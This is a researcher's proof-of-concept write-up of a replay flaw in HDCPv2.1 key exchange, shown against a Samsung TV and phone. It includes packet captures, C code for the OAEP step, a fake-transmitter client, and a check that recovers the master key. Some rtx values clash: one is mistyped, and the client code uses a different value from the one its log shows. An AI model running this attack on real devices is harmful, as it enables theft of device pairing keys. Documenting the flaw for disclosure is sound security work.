HDCPv2.1 AKE vulnerability
Introduction
HDCP (High-bandwith Digical Content Protection) is a framework for secure transmission of audio/video content between a transmitter and a receiver. Version 2.1 is based on TCP/IP, earlier versions used an HDMI connection.
HDCPv2 consists of several protocols
-
authentication and key exchange (AKE)
-
locality check
-
renewability (revocation)
-
calculation of the encryption key for streaming
and last but not least the streaming itself.
The American security researcher Matthew Green analyzed the HDCPv2.1 specification and discovered a number of vulnerabilities. One of them is related to AKE.
The remainder of this text describes the steps I took to demonstrate this AKE vulnerability on commercially available devices.
AKE protocol, outline of the attack
The goal of AKE is to establish a shared key between transmitter and receiver, the so called master key km.
There’s two different sequences for the authentication, a short and a full authentication. The short authentication can be used for a transmitter and receiver that have already authenticated before, it requires less computational effort than the full authentication.
The attack discovered by Matthew Green allows an attacker to obtain the master key for any transmitter-receiver pair. This is purely based on a weakness of the protocol design, it does not require a faulty/insecure implementation.
This is the outline of the attack to obtain km for a transmitter and receiver, a slightly modified version of Matthew’s original version.
-
Observe a legitimate HDCP authentication between the transmitter and reciever. If you captured a full authentication, extract rtx and Ekh(km). For a short authentication, extract m and Ekh(km). rtx is the upper 8 bytes of m. Additionally, capture the receiver’s certificate and the checksum H'.
-
Pretend to be a transmitter, start a full authentication with the receiver.
-
Replay rtx from step 1.
-
Use Ekh(km) as input, encrypt it using RSAEA-OAEP, using the the RSA public key from the receiver’s certificate.
-
The AKE_Send_Pairing_Info message from the receiver contains km.
-
Verify the obtained km by calculating H and comparing with H' of the legitimate authentication that was captured.
The picture below shows the difference between a full authentication and the fake authentication from steps 2-5.
Test setup
To test the scenario described above, we use a European Samsung TV set and a Samsung Galaxy SII smartphone. The TV acts as HDCP transmitter and streams audio and video to the smartphone. Using Samsung’s SmartView app for Android, the phone acts as HDCP receiver and presents the audio/video content received from the TV. This feature is called Multiview.
Finally, we add a PC to the network. It runs a DHCP server and a current wireshark release that supports logging of HDCPv2 messages.
Capture a legitimate HDCP authentication
When the SmartView app is started on the phone, it does a DLNA device discovery. When the TV’s detected, there’s a number of steps for UPnP/DLNA setup. One of them is the phone requesting the TV to initiate an HDCP authentication.
The phone then starts an HDCPv2 server on TCP port 9999 and the TV performs the AKE protocol as per the HDCPv2 specification. There’s no AKE_transmitter_info or AKE_receiver_info messages as the devices have already detected each other using DLNA.
BTW it turned out to be quite difficult to force the two devices to run a full authentication. The TV would not delete a cached master key km after a factory reset.
$ tshark -r logging1.pcapng -R hdcp2 246 11.435577000 192.168.1.5 -> 192.168.1.2 HDCP2 75 AKE_Init 248 11.697900000 192.168.1.2 -> 192.168.1.5 HDCP2 590 AKE_Send_Cert, no repeater 250 11.703639000 192.168.1.5 -> 192.168.1.2 HDCP2 99 AKE_Stored_km 252 11.706692000 192.168.1.2 -> 192.168.1.5 HDCP2 75 AKE_Send_rrx 254 11.748270000 192.168.1.2 -> 192.168.1.5 HDCP2 99 AKE_Send_H_prime
We’re interested in the AKE_Stored_km message.
$ tshark -r logging1.pcapng frame.number==250 -O hdcp2 Frame 250: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0 ... Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 33 HDCP2 Message ID: AKE_Stored_km (0x05) E_kh_km: cdef65336923fa3e60eedd5ccefb3919 m: ad344f04d8e55a080000000000000000
To verify our findings later, we also need the AKE_Init and AKE_Send_H_prime messages.
$ tshark -r logging1.pcapng -R frame.number==246 -O hdcp2 Frame 246: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) on interface 0 ... Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct (9999), Seq: 1, Ack: 1, Len: 9 HDCP2 Message ID: AKE_Init (0x02) r_tx: 0x534f132bedb405ab $ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2 Frame 254: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0 ... Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 50730 (50730), Seq: 534, Ack: 43, Len: 33 HDCP2 Message ID: AKE_Send_H_prime (0x07) H': 07690cb4274a6e2b7ba84b229d474773274797f9ad5aa3d7... $ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2 -e hdcp2.h_prime -T fields 07:69:0c:b4:27:4a:6e:2b:7b:a8:4b:22:9d:47:47:73:27:47:97:f9:ad:5a:a3:d7:17:f1:b7:82:1e:95:a8:e5
We extract the RSA public key (n and e) from the receiver’s certificate.
$ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.n -T fields e7:bc:f3:e0:66:79:11:09:5f:81:ff:47:8c:c0:13:54:12:4c:6d:32:11:d6:9a:e2:1d:22:25:4f:ce:b2:b7:15: 56:5a:06:8f:f3:c5:ae:f3:11:9e:53:04:6e:c4:b5:e0:86:8a:d5:52:1f:37:b9:7a:fd:20:3c:f7:a7:c4:0e:2d: 33:a4:42:94:b4:1b:06:8a:71:6d:8c:c5:5b:53:cc:ac:be:33:e5:2f:1e:d5:97:54:3c:2e:db:13:b8:d3:39:d8: df:b1:6d:8c:9b:a5:51:9d:81:06:85:b3:f4:4e:dd:f7:9d:29:ef:55:34:8a:ab:21:f7:60:c6:99:15:c2:db:87 $ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.e -T fields 0x010001
Fake authentication
Prepare the calculations
From the captured m, we can derive rtx==0xad3444f0dd8e55a08 to be used for the fake authentication. This will ensure that the phone will use exactly the same m as in the captured authentication.
The next step’s a bit more tricky: We have to encrypt the Ekh(km) with RSAES-OAEP using SHA256 as hash function and MGF1 for mask generation, where MGF1 also uses SHA256 as its hash function. It turned out that OpenSSL does not support this at the time of writing, MGF1 is hard-wired to SHA1. Libgrypt version 1.5 and later can do the OAEP calculation required for HDCPv2.
See the following code snippet. The public key’s n and e were copied from the phone’s device certificate. Normally, the transmitters has to do the OAEP calculating while the AKE protocol is being run. We can do this offline before we run the fake authentication.
... #include <gcrypt.h> static const char pubkey_str[] = "(public-key\n" " (rsa\n" " (n #e7bcf3e0667911095f81ff478cc01354124c6d3211d69ae21d22254fceb2b715" "565a068ff3c5aef3119e53046ec4b5e0868ad5521f37b97afd203cf7a7c40e2d" "33a44294b41b068a716d8cc55b53ccacbe33e52f1ed597543c2edb13b8d339d8" "dfb16d8c9ba5519d810685b3f44eddf79d29ef55348aab21f760c69915c2db87#)\n" " (e #010001#)\n" " )\n" ")\n"; static const char data_str[] = "(data\n" " (flags oaep)\n" " (hash-algo sha256)\n" " (label \"test\")\n" " (value #cdef65336923fa3e60eedd5ccefb3919#))\n"; int main (void) { int ret; gcry_sexp_t result, data, pub_key; ret = gcry_sexp_sscan (&data, NULL, data_str, strlen(data_str)); assert(ret==0); ret = gcry_sexp_sscan (&pub_key, NULL, pubkey_str, strlen(pubkey_str)); assert(ret==0); ret = gcry_pk_encrypt(&result, data, pub_key); assert(ret==0); /* print out the result sexpression */ ... return 0; }
The result of this calculation is the fake Ekpub_rx(km).
$ ./oaep_calculation res = 0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, 0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF, 0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, 0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39, 0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, 0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF, 0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, 0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1, 0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, 0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0, 0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, 0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB, 0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, 0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73, 0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, 0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5
Run the protocol
We’re now ready for kicking off our fake authentication from the test PC. One thing turned out to be a problem, however. The phone starts the HDCPv2 server only after it recognizes a TV set via DLNA. To avoid faking all DLNA messages, we use the real TV and let the phone recognize the TV and start the Multiview. At this point, the phone provides the HDCPv2 server on TCP port 9999 to any client, including our test PC.
The code snippet below shows that we don’t parse any of the phone’s return messages. Instead, we use wireshark to log the communication and do the parsing.
#define R_TX \ 0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab #define E_KPUB_KM \ 0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, \ 0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF, \ 0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, \ 0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39, \ 0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, \ 0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF, \ 0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, \ 0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1, \ 0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, \ 0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0, \ 0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, \ 0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB, \ 0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, \ 0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73, \ 0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, \ 0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5 int main(void) { int ret, s; struct sockaddr_in srv; unsigned char ake_init[] = { 0x02, /* msg_id */ R_TX }; unsigned char ake_no_stored_km[] = { 0x04, /* msg_id */ E_KPUB_KM }; unsigned char buf[1000]; s = socket(PF_INET, SOCK_STREAM, 0); assert(s!=-1); srv.sin_family = AF_INET; srv.sin_port = htons (9999); ret = inet_pton(AF_INET, "192.168.1.2", &srv.sin_addr); assert(ret >= 0); ret = connect(s, (struct sockaddr *)&srv, sizeof(srv)); assert(ret==0); write(s, ake_init, sizeof(ake_init)); read (s, buf, sizeof(buf)); /* read ake_send_cert */ write(s, ake_no_stored_km, sizeof(ake_no_stored_km)); read (s, buf, sizeof(buf)); /* read ake_send_rrx */ read (s, buf, sizeof(buf)); /* read ake_h_prime */ read (s, buf, sizeof(buf)); /* read ake_pairing_info */ return 0; }
Here’s the wireshark log of the fake authentication.
$ tshark -r revert1.pcapng -R hdcp2 4960 20.957347000 192.168.1.254 -> 192.168.1.2 HDCP2 75 AKE_Init 5042 21.378931000 192.168.1.2 -> 192.168.1.254 HDCP2 590 AKE_Send_Cert, no repeater 5044 21.379112000 192.168.1.254 -> 192.168.1.2 HDCP2 195 AKE_No_Stored_km 5046 21.387232000 192.168.1.2 -> 192.168.1.254 HDCP2 75 AKE_Send_rrx 5132 21.676139000 192.168.1.2 -> 192.168.1.254 HDCP2 99 AKE_Send_H_prime 5134 21.677848000 192.168.1.2 -> 192.168.1.254 HDCP2 83 AKE_Send_Pairing_Info
AKE_Init contains our replayed rtx
$ tshark -r revert1.pcapng -R frame.number==4960 -O hdcp2 Frame 4960: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) on interface 0 ... Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct (9999), Seq: 1, Ack: 1, Len: 9 HDCP2 Message ID: AKE_Init (0x02) r_tx: 0xad344f04d8e55a08
and AKE_No_Stored_km contains the OAEP-encrypted value we calculated above
$ tshark -r revert1.pcapng -R frame.number==5044 -O hdcp2 Frame 5044: 195 bytes on wire (1560 bits), 195 bytes captured (1560 bits) on interface 0 ... Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 129 HDCP2 Message ID: AKE_No_Stored_km (0x04) E_kpub_km: c9d0a0cf3dc0a232f3d7de82cc886fafd21039e65e6e08e8...
Therefore, AKE_Send_Pairing_Info should contain the master key km for the TV and the phone. It’s called Ekh(km) here, but it’s actually km :-)
$ tshark -r revert1.pcapng -R frame.number==5134 -O hdcp2 Frame 5134: 83 bytes on wire (664 bits), 83 bytes captured (664 bits) on interface 0 ... Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 59500 (59500), Seq: 567, Ack: 139, Len: 17 HDCP2 Message ID: AKE_Send_Pairing_Info (0x08) E_kh_km: 2877f884625837fbc1da9ab40e5ad037
Verify that the master key is correct
In order to verify that we actually have the master key k_m, we go back to the original capture and calculate H. This value must match the H' that the phone sent in the AKE_Send_H_prime message in frame 254.
Here’s another code snippet for the calculation of H==H', using OpenSSL. The function kd() calculates dkey0|dkey1 by running two separate AES CTR encryptions. The input data for both encryptions is eight 0x00 bytes. The init vectors are rtx|0…0 and rtx|0…01, respectively.
dkey0|dkey1 is then used as key for HMAC-SHA256(rtx). The result is H.
#include <openssl/evp.h> #include <openssl/hmac.h> #define R_TX \ 0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab #define K_M \ 0x28, 0x77, 0xf8, 0x84, 0x62, 0x58, 0x37, 0xfb, \ 0xc1, 0xda, 0x9a, 0xb4, 0x0e, 0x5a, 0xd0, 0x37 #define NULL_BYTES \ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 #define KD_SIZE 32 unsigned char *kd(void) { EVP_CIPHER_CTX ctx; unsigned char km[] = { K_M }; unsigned char *buf = malloc(KD_SIZE); unsigned char iv[] = { R_TX, NULL_BYTES }; unsigned char input[] = { NULL_BYTES, NULL_BYTES }; int ret; unsigned char tmp[100]; int outl; memset(buf, 0x0, KD_SIZE); EVP_CIPHER_CTX_init(&ctx); ret = EVP_EncryptInit_ex(&ctx, EVP_aes_128_ctr(), NULL, km, iv); assert(ret == 1); ret = EVP_EncryptUpdate(&ctx, buf, &outl, input, sizeof(input)); assert(ret == 1); assert(outl == sizeof(input)); ret = EVP_EncryptFinal_ex(&ctx, tmp, &outl); assert(ret == 1); assert(outl == 0); iv[sizeof(iv)-1] = 0x01; /* iv is now r_tx|0...01 */ ret = EVP_EncryptInit_ex(&ctx, EVP_aes_128_ctr(), NULL, km, iv); assert(ret == 1); ret = EVP_EncryptUpdate(&ctx, &buf[16], &outl, input, sizeof(input)); assert(ret == 1); assert(outl == sizeof(input)); ret = EVP_EncryptFinal_ex(&ctx, tmp, &outl); assert(ret == 1); assert(outl == 0); ret = EVP_CIPHER_CTX_cleanup(&ctx); assert(ret == 1); return buf; } int main(void) { HMAC_CTX ctx; unsigned char res[200]; unsigned int resLen; /* input == r_tx XOR REPEATER, but REPEATER==0 */ unsigned char input[] = { R_TX }; HMAC_CTX_init(&ctx); HMAC_Init_ex(&ctx, kd(), KD_SIZE, EVP_sha256(), NULL); HMAC_Update(&ctx, input, sizeof(input)); HMAC_Final(&ctx, res, &resLen); /* print the result buffer */ HMAC_CTX_cleanup(&ctx); return 0; }
Let’s run the calculation of H
$ ./hprime res == 0x07, 0x69, 0x0c, 0xb4, 0x27, 0x4a, 0x6e, 0x2b, 0x7b, 0xa8, 0x4b, 0x22, 0x9d, 0x47, 0x47, 0x73, 0x27, 0x47, 0x97, 0xf9, 0xad, 0x5a, 0xa3, 0xd7, 0x17, 0xf1, 0xb7, 0x82, 0x1e, 0x95, 0xa8, 0xe5,
This is identical to the H' that the phone sent for the captured authentication. In other words, we have the master key km :-))
Please note that this is not sufficient for decrypting the transmited audio/video content between the two devices. This would require that we know the license constant lc123, which is available only to HDCP licensees.
Current status
The HDCP specification was updated to version 2.2.
Samsung released an updated version of their SmartView application on August 30th.
Links
Questions, comments
Please send any questions or comments to 'www(at)kaiser(dot)cx'